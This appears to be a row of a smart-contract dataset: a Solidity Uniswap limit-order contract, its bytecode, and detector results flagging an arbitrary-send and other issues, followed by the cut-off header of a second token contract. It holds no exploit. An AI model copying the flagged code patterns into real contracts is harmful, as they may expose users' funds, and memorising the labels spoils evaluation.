function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract UniLayerLimitOrder is Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
IUniswapV2Factory public immutable uniswapV2Factory;
enum OrderState {Created, Cancelled, Finished}
enum OrderType {EthForTokens, TokensForEth, TokensForTokens}
struct Order {
OrderState orderState;
OrderType orderType;
address payable traderAddress;
address assetIn;
address assetOut;
uint assetInOffered;
uint assetOutExpected;
uint executorFee;
uint stake;
uint id;
uint ordersI;
}
uint public STAKE_FEE = 2;
uint public STAKE_PERCENTAGE = 92;
uint public EXECUTOR_FEE = 500000000000000;
uint[] public orders;
uint public ordersNum = 0;
address public stakeAddress = address(0xC9f9de264cd16FD0e5b3FB4C1b276549f70814c7);
address public owAddress = address(0xc56dE69EC711D6E4A48283c346b1441f449eCA5A);
event logOrderCreated(
uint id,
OrderState orderState,
OrderType orderType,
address payable traderAddress,
address assetIn,
address assetOut,
uint assetInOffered,
uint assetOutExpected,
uint executorFee
);
event logOrderCancelled(uint id, address payable traderAddress, address assetIn, address assetOut, uint refundETH, uint refundToken);
event logOrderExecuted(uint id, address executor, uint[] amounts);
mapping(uint => Order) public orderBook;
mapping(address => uint[]) private ordersForAddress;
constructor(IUniswapV2Router02 _uniswapV2Router) {
uniswapV2Router = _uniswapV2Router;
uniswapV2Factory = IUniswapV2Factory(_uniswapV2Router.factory());
}
function setNewStakeFee(uint256 _STAKE_FEE) external onlyOwner {
STAKE_FEE = _STAKE_FEE;
}
function setNewStakePercentage(uint256 _STAKE_PERCENTAGE) external onlyOwner {
require(_STAKE_PERCENTAGE >= 0 && _STAKE_PERCENTAGE <= 100,'STAKE_PERCENTAGE must be between 0 and 100');
STAKE_PERCENTAGE = _STAKE_PERCENTAGE;
}
function setNewExecutorFee(uint256 _EXECUTOR_FEE) external onlyOwner {
EXECUTOR_FEE = _EXECUTOR_FEE;
}
function setNewStakeAddress(address _stakeAddress) external onlyOwner {
require(_stakeAddress != address(0), 'Do not use 0 address');
stakeAddress = _stakeAddress;
}
function setNewOwAddress(address _owAddress) external onlyOwner {
require(_owAddress != address(0), 'Do not use 0 address');
owAddress = _owAddress;
}
function getPair(address tokenA, address tokenB) internal view returns (address) {
address _tokenPair = uniswapV2Factory.getPair(tokenA, tokenB);
require(_tokenPair != address(0), "Unavailable token pair");
return _tokenPair;
}
function updateOrder(Order memory order, OrderState newState) internal {
if(orders.length > 1) {
uint openId = order.ordersI;
uint lastId = orders[orders.length-1];
Order memory lastOrder = orderBook[lastId];
lastOrder.ordersI = openId;
orderBook[lastId] = lastOrder;
orders[openId] = lastId;
}
orders.pop();
order.orderState = newState;
orderBook[order.id] = order;
}
function createOrder(OrderType orderType, address assetIn, address assetOut, uint assetInOffered, uint assetOutExpected, uint executorFee) external payable {
uint payment = msg.value;
uint stakeValue = 0;
require(assetInOffered > 0, "Asset in amount must be greater than 0");
require(assetOutExpected > 0, "Asset out amount must be greater than 0");
require(executorFee >= EXECUTOR_FEE, "Invalid fee");
if(orderType == OrderType.EthForTokens) {
require(assetIn == uniswapV2Router.WETH(), "Use WETH as the assetIn");
stakeValue = assetInOffered.mul(STAKE_FEE).div(1000);
require(payment == assetInOffered.add(executorFee).add(stakeValue), "Payment = assetInOffered + executorFee + stakeValue");
TransferHelper.safeTransferETH(stakeAddress, stakeValue);
}
else {
require(payment == executorFee, "Transaction value must match executorFee");
if (orderType == OrderType.TokensForEth) { require(assetOut == uniswapV2Router.WETH(), "Use WETH as the assetOut"); }
TransferHelper.safeTransferFrom(assetIn, msg.sender, address(this), assetInOffered);
}
uint orderId = ordersNum;
ordersNum++;
orderBook[orderId] = Order(OrderState.Created, orderType, msg.sender, assetIn, assetOut, assetInOffered,
assetOutExpected, executorFee, stakeValue, orderId, orders.length);
ordersForAddress[msg.sender].push(orderId);
orders.push(orderId);
emit logOrderCreated(
orderId,
OrderState.Created,
orderType,
msg.sender,
assetIn,
assetOut,
assetInOffered,
assetOutExpected,
executorFee
);
}
function executeOrder(uint orderId) external returns (uint[] memory) {
Order memory order = orderBook[orderId];
require(order.traderAddress != address(0), "Invalid order");
require(order.orderState == OrderState.Created, 'Invalid order state');
updateOrder(order, OrderState.Finished);
address[] memory pair = new address[](2);
pair[0] = order.assetIn;
pair[1] = order.assetOut;
uint[] memory swapResult;
if (order.orderType == OrderType.EthForTokens) {
swapResult = uniswapV2Router.swapExactETHForTokens{value:order.assetInOffered}(order.assetOutExpected, pair, order.traderAddress, block.timestamp);
TransferHelper.safeTransferETH(stakeAddress, order.stake.mul(STAKE_PERCENTAGE).div(100));
TransferHelper.safeTransferETH(owAddress, order.stake.mul(100-STAKE_PERCENTAGE).div(100));
}
else if (order.orderType == OrderType.TokensForEth) {
TransferHelper.safeApprove(order.assetIn, address(uniswapV2Router), order.assetInOffered);
swapResult = uniswapV2Router.swapExactTokensForETH(order.assetInOffered, order.assetOutExpected, pair, order.traderAddress, block.timestamp);
}
else if (order.orderType == OrderType.TokensForTokens) {
TransferHelper.safeApprove(order.assetIn, address(uniswapV2Router), order.assetInOffered);
swapResult = uniswapV2Router.swapExactTokensForTokens(order.assetInOffered, order.assetOutExpected, pair, order.traderAddress, block.timestamp);
}
TransferHelper.safeTransferETH(msg.sender, order.executorFee);
emit logOrderExecuted(order.id, msg.sender, swapResult);
return swapResult;
}
function cancelOrder(uint orderId) external {
Order memory order = orderBook[orderId];
require(order.traderAddress != address(0), "Invalid order");
require(msg.sender == order.traderAddress, 'This order is not yours');
require(order.orderState == OrderState.Created, 'Invalid order state');
updateOrder(order, OrderState.Cancelled);
uint refundETH = 0;
uint refundToken = 0;
if (order.orderType != OrderType.EthForTokens) {
refundETH = order.executorFee;
refundToken = order.assetInOffered;
TransferHelper.safeTransferETH(order.traderAddress, refundETH);
TransferHelper.safeTransfer(order.assetIn, order.traderAddress, refundToken);
}
else {
refundETH = order.assetInOffered.add(order.executorFee).add(order.stake);
TransferHelper.safeTransferETH(order.traderAddress, refundETH);
}
emit logOrderCancelled(order.id, order.traderAddress, order.assetIn, order.assetOut, refundETH, refundToken);
}
function calculatePaymentETH(uint ethValue) external view returns (uint valueEth, uint stake, uint executorFee, uint total) {
uint pay = ethValue;
uint stakep = pay.mul(STAKE_FEE).div(1000);
uint totalp = (pay.add(stakep).add(EXECUTOR_FEE));
return (pay, stakep, EXECUTOR_FEE, totalp);
}
function getOrdersLength() external view returns (uint) {
return orders.length;
}
function getOrdersForAddressLength(address _address) external view returns (uint)
{
return ordersForAddress[_address].length;
}
function getOrderIdForAddress(address _address, uint index) external view returns (uint)
{
return ordersForAddress[_address][index];
}
receive() external payable {}
} | 0x60806040526004361061016a5760003560e01c806385107367116100d1578063a85c38ef1161008a578063cb4faed011610064578063cb4faed014610585578063d3b46393146105af578063f2a15c65146105e8578063f2fde38b146105fd57610171565b8063a85c38ef146104f6578063ab03c7a914610520578063b7fddafd1461057057610171565b8063851073671461035c5780638ba9990a146103715780638da5cb5b1461039b57806392cc4760146103b057806394f61134146103c5578063a20b6e341461043f57610171565b806359d0f7131161012357806359d0f7131461026c578063657f38371461028157806366afe93f14610296578063715018a6146102c957806372162fe6146102de5780637a1673ee1461031157610171565b806307c2e16c146101765780631694505e1461019d57806320a493e5146101ce5780633d42e58814610201578063514fcac71461021657806358472bf31461024257610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b610630565b60408051918252519081900360200190f35b3480156101a957600080fd5b506101b2610636565b604080516001600160a01b039092168252519081900360200190f35b3480156101da57600080fd5b5061018b600480360360208110156101f157600080fd5b50356001600160a01b031661065a565b34801561020d57600080fd5b5061018b610675565b34801561022257600080fd5b506102406004803603602081101561023957600080fd5b503561067b565b005b34801561024e57600080fd5b506102406004803603602081101561026557600080fd5b503561096d565b34801561027857600080fd5b506101b2610a0a565b34801561028d57600080fd5b5061018b610a2e565b3480156102a257600080fd5b50610240600480360360208110156102b957600080fd5b50356001600160a01b0316610a34565b3480156102d557600080fd5b50610240610b00565b3480156102ea57600080fd5b506102406004803603602081101561030157600080fd5b50356001600160a01b0316610ba2565b610240600480360360c081101561032757600080fd5b5060ff813516906001600160a01b03602082013581169160408101359091169060608101359060808101359060a00135610c6e565b34801561036857600080fd5b506101b2611269565b34801561037d57600080fd5b506102406004803603602081101561039457600080fd5b5035611278565b3480156103a757600080fd5b506101b26112d5565b3480156103bc57600080fd5b5061018b6112e4565b3480156103d157600080fd5b506103ef600480360360208110156103e857600080fd5b50356112ea565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561042b578181015183820152602001610413565b505050509050019250505060405180910390f35b34801561044b57600080fd5b506104696004803603602081101561046257600080fd5b5035611ba6565b604051808c600281111561047957fe5b81526020018b600281111561048a57fe5b81526020018a6001600160a01b03168152602001896001600160a01b03168152602001886001600160a01b031681526020018781526020018681526020018581526020018481526020018381526020018281526020019b50505050505050505050505060405180910390f35b34801561050257600080fd5b5061018b6004803603602081101561051957600080fd5b5035611c0f565b34801561052c57600080fd5b5061054a6004803603602081101561054357600080fd5b5035611c30565b604080519485526020850193909352838301919091526060830152519081900360800190f35b34801561057c57600080fd5b5061018b611c89565b34801561059157600080fd5b50610240600480360360208110156105a857600080fd5b5035611c8f565b3480156105bb57600080fd5b5061018b600480360360408110156105d257600080fd5b506001600160a01b038135169060200135611cec565b3480156105f457600080fd5b506101b2611d24565b34801561060957600080fd5b506102406004803603602081101561062057600080fd5b50356001600160a01b0316611d33565b60045490565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6001600160a01b031660009081526009602052604090205490565b60055481565b610683612859565b60008281526008602052604090819020815161016081019092528054829060ff1660028111156106af57fe5b60028111156106ba57fe5b81528154602090910190610100900460ff1660028111156106d757fe5b60028111156106e257fe5b815281546001600160a01b0362010000909104811660208301526001830154811660408084019190915260028401548216606084015260038401546080840152600484015460a0840152600584015460c0840152600684015460e084015260078401546101008401526008909301546101209092019190915290820151919250166107a4576040805162461bcd60e51b815260206004820152600d60248201526c24b73b30b634b21037b93232b960991b604482015290519081900360640190fd5b80604001516001600160a01b0316336001600160a01b03161461080e576040805162461bcd60e51b815260206004820152601760248201527f54686973206f72646572206973206e6f7420796f757273000000000000000000604482015290519081900360640190fd5b60008151600281111561081d57fe5b14610865576040805162461bcd60e51b8152602060048201526013602482015272496e76616c6964206f7264657220737461746560681b604482015290519081900360640190fd5b610870816001611e2b565b600080808360200151600281111561088457fe5b146108bc57505060e081015160a082015160408301516108a49083612195565b6108b7836060015184604001518361228d565b6108f6565b6108e68361010001516108e08560e001518660a001516123f790919063ffffffff16565b906123f7565b91506108f6836040015183612195565b61012083015160408085015160608087015160808089015185519687526001600160a01b03948516602088015291841686860152921690840152820184905260a08201839052517fc54564d8bb24f7208de85ab88c9e3373a39a2813ec2954267e5feee6c83d63449181900360c00190a150505050565b610975612458565b6000546001600160a01b039081169116146109c5576040805162461bcd60e51b81526020600482018190526024820152600080516020612969833981519152604482015290519081900360640190fd5b6064811115610a055760405162461bcd60e51b815260040180806020018281038252602a8152602001806128f6602a913960400191505060405180910390fd5b600255565b7f0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f81565b60015481565b610a3c612458565b6000546001600160a01b03908116911614610a8c576040805162461bcd60e51b81526020600482018190526024820152600080516020612969833981519152604482015290519081900360640190fd5b6001600160a01b038116610ade576040805162461bcd60e51b8152602060048201526014602482015273446f206e6f74207573652030206164647265737360601b604482015290519081900360640190fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b610b08612458565b6000546001600160a01b03908116911614610b58576040805162461bcd60e51b81526020600482018190526024820152600080516020612969833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b610baa612458565b6000546001600160a01b03908116911614610bfa576040805162461bcd60e51b81526020600482018190526024820152600080516020612969833981519152604482015290519081900360640190fd5b6001600160a01b038116610c4c576040805162461bcd60e51b8152602060048201526014602482015273446f206e6f74207573652030206164647265737360601b604482015290519081900360640190fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b34600084610cad5760405162461bcd60e51b81526004018080602001828103825260268152602001806129896026913960400191505060405180910390fd5b60008411610cec5760405162461bcd60e51b8152600401808060200182810382526027815260200180612a296027913960400191505060405180910390fd5b600354831015610d31576040805162461bcd60e51b815260206004820152600b60248201526a496e76616c69642066656560a81b604482015290519081900360640190fd5b6000886002811115610d3f57fe5b1415610eb2577f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d9e57600080fd5b505afa158015610db2573d6000803e3d6000fd5b505050506040513d6020811015610dc857600080fd5b50516001600160a01b03888116911614610e29576040805162461bcd60e51b815260206004820152601760248201527f557365205745544820617320746865206173736574496e000000000000000000604482015290519081900360640190fd5b610e4a6103e8610e446001548861245c90919063ffffffff16565b906124b5565b9050610e5a816108e087866123f7565b8214610e975760405162461bcd60e51b81526004018080602001828103825260338152602001806129af6033913960400191505060405180910390fd5b600654610ead906001600160a01b031682612195565b610ff4565b828214610ef05760405162461bcd60e51b81526004018080602001828103825260288152602001806129206028913960400191505060405180910390fd5b6001886002811115610efe57fe5b1415610fe8577f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610f5d57600080fd5b505afa158015610f71573d6000803e3d6000fd5b505050506040513d6020811015610f8757600080fd5b50516001600160a01b03878116911614610fe8576040805162461bcd60e51b815260206004820152601860248201527f5573652057455448206173207468652061737365744f75740000000000000000604482015290519081900360640190fd5b610ff4873330886124f7565b600580546001810190915560408051610160810190915280600081526020018a600281111561101f57fe5b8152336020808301919091526001600160a01b038b8116604080850191909152908b166060840152608083018a905260a0830189905260c0830188905260e08301869052610100830185905260045461012090930192909252600084815260089091522081518154829060ff1916600183600281111561109b57fe5b021790555060208201518154829061ff0019166101008360028111156110bd57fe5b0217905550604082810151825462010000600160b01b031916620100006001600160a01b03928316021783556060840151600180850180546001600160a01b03199081169385169390931790556080860151600286018054909316931692909217905560a0840151600384015560c084015160048085019190915560e085015160058501556101008501516006850155610120850151600785015561014090940151600890930192909255336000818152600960209081528382208054808701825590835281832001879055855494850186559481527f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b90930185905590518481527f9fdc338d1bfe2f2f0ae25a02b5bdcd2466b63dedaf221055ad4c2f8bf80107cb938593928e9290918e918e918e918e918e9190810189815260200188600281111561120757fe5b8152602001876001600160a01b03168152602001866001600160a01b03168152602001856001600160a01b03168152602001848152602001838152602001828152602001995050505050505050505060405180910390a1505050505050505050565b6006546001600160a01b031681565b611280612458565b6000546001600160a01b039081169116146112d0576040805162461bcd60e51b81526020600482018190526024820152600080516020612969833981519152604482015290519081900360640190fd5b600355565b6000546001600160a01b031690565b60025481565b60606112f4612859565b60008381526008602052604090819020815161016081019092528054829060ff16600281111561132057fe5b600281111561132b57fe5b81528154602090910190610100900460ff16600281111561134857fe5b600281111561135357fe5b815281546001600160a01b0362010000909104811660208301526001830154811660408084019190915260028401548216606084015260038401546080840152600484015460a0840152600584015460c0840152600684015460e08401526007840154610100840152600890930154610120909201919091529082015191925016611415576040805162461bcd60e51b815260206004820152600d60248201526c24b73b30b634b21037b93232b960991b604482015290519081900360640190fd5b60008151600281111561142457fe5b1461146c576040805162461bcd60e51b8152602060048201526013602482015272496e76616c6964206f7264657220737461746560681b604482015290519081900360640190fd5b611477816002611e2b565b60408051600280825260608083018452926020830190803683370190505090508160600151816000815181106114a957fe5b60200260200101906001600160a01b031690816001600160a01b0316815250508160800151816001815181106114db57fe5b6001600160a01b0390921660209283029190910190910152606060008360200151600281111561150757fe5b1415611719577f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316637ff36ab58460a001518560c00151858760400151426040518663ffffffff1660e01b81526004018085815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156115b757818101518382015260200161159f565b50505050905001955050505050506000604051808303818588803b1580156115de57600080fd5b505af11580156115f2573d6000803e3d6000fd5b50505050506040513d6000823e601f3d908101601f19168201604052602081101561161c57600080fd5b810190808051604051939291908464010000000082111561163c57600080fd5b90830190602082018581111561165157600080fd5b825186602082028301116401000000008211171561166e57600080fd5b82525081516020918201928201910280838360005b8381101561169b578181015183820152602001611683565b5050505090500160405250505090506116e7600660009054906101000a90046001600160a01b03166116e26064610e4460025488610100015161245c90919063ffffffff16565b612195565b600754600254610100850151611714926001600160a01b0316916116e291606491610e449190830361245c565b611afd565b60018360200151600281111561172b57fe5b141561190d5761176483606001517f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d8560a00151612654565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03166318cbafe58460a001518560c00151858760400151426040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156118145781810151838201526020016117fc565b505050509050019650505050505050600060405180830381600087803b15801561183d57600080fd5b505af1158015611851573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052602081101561187a57600080fd5b810190808051604051939291908464010000000082111561189a57600080fd5b9083019060208201858111156118af57600080fd5b82518660208202830111640100000000821117156118cc57600080fd5b82525081516020918201928201910280838360005b838110156118f95781810151838201526020016118e1565b505050509050016040525050509050611afd565b60028360200151600281111561191f57fe5b1415611afd5761195883606001517f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d8560a00151612654565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03166338ed17398460a001518560c00151858760400151426040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015611a085781810151838201526020016119f0565b505050509050019650505050505050600060405180830381600087803b158015611a3157600080fd5b505af1158015611a45573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526020811015611a6e57600080fd5b8101908080516040519392919084640100000000821115611a8e57600080fd5b908301906020820185811115611aa357600080fd5b8251866020820283011164010000000082111715611ac057600080fd5b82525081516020918201928201910280838360005b83811015611aed578181015183820152602001611ad5565b5050505090500160405250505090505b611b0b338460e00151612195565b7f96887449736ea61232da74d556679628212a6418ae409f6b0f648a416b4e7b86836101200151338360405180848152602001836001600160a01b0316815260200180602001828103825283818151815260200191508051906020019060200280838360005b83811015611b89578181015183820152602001611b71565b5050505090500194505050505060405180910390a1949350505050565b600860208190526000918252604090912080546001820154600283015460038401546004850154600586015460068701546007880154979098015460ff80881699610100890490911698620100009098046001600160a01b03908116989781169796169590918b565b60048181548110611c1f57600080fd5b600091825260209091200154905081565b60008060008060008590506000611c586103e8610e446001548561245c90919063ffffffff16565b90506000611c756003546108e084866123f790919063ffffffff16565b600354939992985092965091945092505050565b60035481565b611c97612458565b6000546001600160a01b03908116911614611ce7576040805162461bcd60e51b81526020600482018190526024820152600080516020612969833981519152604482015290519081900360640190fd5b600155565b6001600160a01b0382166000908152600960205260408120805483908110611d1057fe5b906000526020600020015490505b92915050565b6007546001600160a01b031681565b611d3b612458565b6000546001600160a01b03908116911614611d8b576040805162461bcd60e51b81526020600482018190526024820152600080516020612969833981519152604482015290519081900360640190fd5b6001600160a01b038116611dd05760405162461bcd60e51b81526004018080602001828103825260268152602001806128d06026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6004546001101561205e5761014082015160048054600091906000198101908110611e5257fe5b90600052602060002001549050611e67612859565b60008281526008602052604090819020815161016081019092528054829060ff166002811115611e9357fe5b6002811115611e9e57fe5b81528154602090910190610100900460ff166002811115611ebb57fe5b6002811115611ec657fe5b815281546001600160a01b036201000090910481166020808401919091526001808501548316604080860191909152600280870154909416606086015260038601546080860152600486015460a0860152600586015460c0860152600686015460e086015260078601546101008601526008958601546101209095019490945261014086018990526000888152949091529190922083518154949550859491939092849260ff1916918490811115611f7a57fe5b021790555060208201518154829061ff001916610100836002811115611f9c57fe5b0217905550604082015181546001600160a01b03918216620100000262010000600160b01b031990911617825560608301516001830180549183166001600160a01b0319928316179055608084015160028401805491909316911617905560a0820151600382015560c082015160048083019190915560e08301516005830155610100830151600683015561012083015160078301556101409092015160089091015580548391908590811061204e57fe5b6000918252602090912001555050505b600480548061206957fe5b60019003818190600052602060002001600090559055808260000190600281111561209057fe5b9081600281111561209d57fe5b90525061012082015160009081526008602052604090208251815484929190829060ff191660018360028111156120d057fe5b021790555060208201518154829061ff0019166101008360028111156120f257fe5b0217905550604082015181546001600160a01b03918216620100000262010000600160b01b031990911617825560608301516001830180549183166001600160a01b0319928316179055608084015160028401805491909316911617905560a0820151600382015560c0820151600482015560e0820151600582015561010082015160068201556101208201516007820155610140909101516008909101555050565b604080516000808252602082019092526001600160a01b0384169083906040518082805190602001908083835b602083106121e15780518252601f1990920191602091820191016121c2565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114612243576040519150601f19603f3d011682016040523d82523d6000602084013e612248565b606091505b50509050806122885760405162461bcd60e51b81526004018080602001828103825260238152602001806129e26023913960400191505060405180910390fd5b505050565b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b178152925182516000946060949389169392918291908083835b6020831061230a5780518252601f1990920191602091820191016122eb565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461236c576040519150601f19603f3d011682016040523d82523d6000602084013e612371565b606091505b509150915081801561239f57508051158061239f575080806020019051602081101561239c57600080fd5b50515b6123f0576040805162461bcd60e51b815260206004820152601f60248201527f5472616e7366657248656c7065723a205452414e534645525f4641494c454400604482015290519081900360640190fd5b5050505050565b600082820183811015612451576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b60008261246b57506000611d1e565b8282028284828161247857fe5b04146124515760405162461bcd60e51b81526004018080602001828103825260218152602001806129486021913960400191505060405180910390fd5b600061245183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506127b7565b604080516001600160a01b0385811660248301528481166044830152606480830185905283518084039091018152608490920183526020820180516001600160e01b03166323b872dd60e01b17815292518251600094606094938a169392918291908083835b6020831061257c5780518252601f19909201916020918201910161255d565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146125de576040519150601f19603f3d011682016040523d82523d6000602084013e6125e3565b606091505b5091509150818015612611575080511580612611575080806020019051602081101561260e57600080fd5b50515b61264c5760405162461bcd60e51b8152600401808060200182810382526024815260200180612a056024913960400191505060405180910390fd5b505050505050565b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663095ea7b360e01b178152925182516000946060949389169392918291908083835b602083106126d15780518252601f1990920191602091820191016126b2565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612733576040519150601f19603f3d011682016040523d82523d6000602084013e612738565b606091505b5091509150818015612766575080511580612766575080806020019051602081101561276357600080fd5b50515b6123f0576040805162461bcd60e51b815260206004820152601e60248201527f5472616e7366657248656c7065723a20415050524f56455f4641494c45440000604482015290519081900360640190fd5b600081836128435760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156128085781810151838201526020016127f0565b50505050905090810190601f1680156128355780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161284f57fe5b0495945050505050565b60408051610160810190915280600081526020016000815260200160006001600160a01b0316815260200160006001600160a01b0316815260200160006001600160a01b03168152602001600081526020016000815260200160008152602001600081526020016000815260200160008152509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573735354414b455f50455243454e54414745206d757374206265206265747765656e203020616e64203130305472616e73616374696f6e2076616c7565206d757374206d61746368206578656375746f72466565536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572417373657420696e20616d6f756e74206d7573742062652067726561746572207468616e20305061796d656e74203d206173736574496e4f666665726564202b206578656375746f72466565202b207374616b6556616c75655472616e7366657248656c7065723a204554485f5452414e534645525f4641494c45445472616e7366657248656c7065723a205452414e534645525f46524f4d5f4641494c45444173736574206f757420616d6f756e74206d7573742062652067726561746572207468616e2030a26469706673582212203db1503a0b70bb91c99f991f2d132fa81fca868004ab675d1f66849e307ed00f64736f6c63430007040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 317 |
0xbd6065edd2c6dbe83a6fc663f483fe715fdd8345 | // Shiba Bucks (SHIBUCKS)
//Limit Buy yes
//Cooldown yes
//Bot Protect yes
//Deflationary yes
//Fee yes
//Liqudity dev provides and lock
//TG: https://t.me/shibabucks
//Website: TBA
//CG, CMC listing: Ongoing
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
